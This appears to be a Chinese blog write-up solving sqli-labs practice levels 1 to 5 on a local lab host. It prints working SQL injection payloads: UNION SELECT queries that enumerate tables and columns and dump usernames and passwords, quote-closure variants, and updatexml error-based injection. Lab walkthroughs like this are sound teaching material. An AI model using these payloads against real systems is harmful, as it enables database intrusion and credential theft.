0%

Sqli-Lab 靶场题解 (持续更新中)

基础挑战 1-20关

Less-1

经过检测为字符型

检测表的列数:

1
2
http://sqli.local/Less-1?id=1' order by 3%23
http://sqli.local/Less-1?id=1' order by 4%23

得出有三列,之后操作同less-2

1
http://sqli.local/Less-1/?id=-1' union select 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema="security"%23

image-20250714154648520

Less-2

测试数字型 or 字符型

1
2
3
#对比两个结果
http://sqli.local/Less-2/?id=1
http://sqli.local/Less-2/?id=2-1

发现结果相同,为数字型

判断回显位

1
http://sqli.local/Less-2/?id=-1 union select 1,2,3

image-20250714135418329

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),version()%23

%23经过转义后为#,代表注释符

image-20250714135754885

得到数据库版本为5.7.40,可以用information_schema库查表名,列出security数据库中所有表名

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),table_name FROM information_schema.tables WHERE table_schema="security"%23

image-20250714140059376

但因为前端只能显示一个数据,所以需要将多条记录合成一条,用到group_concat()

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema="security"%23

image-20250714140423164

得到security数据库中的表有emails,referers,usagents,users

泄露表中的字段信息:

1
2
3
4
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="emails"%23
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="referers"%23
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="usagents"%23
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(column_name) FROM information_schema.columns WHERE table_schema="security" and table_name="users"%23

查出user表中的所有数据

1
http://sqli.local/Less-2/?id=-1 union select 1,database(),group_concat(concat_ws("-",id,username,password)) FROM security.users

image-20250714142402470

Less-3

同Less-1,2,只是闭合方式不同:

1
2
# 闭合方式变为')
http://sqli.local/Less-2/?id=-1')

Less-4

同上,但闭合方式不同

1
http://sqli.local/Less-4/?id=-1")

Less-5

本关查询结果不会显

1
2
http://sqli.local/Less-5/?id=1' # 报错
http://sqli.local/Less-5/?id=1" # 没有报错

闭合方式为单引号

利用报错注入

1
http://sqli.local/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

image-20250714152557928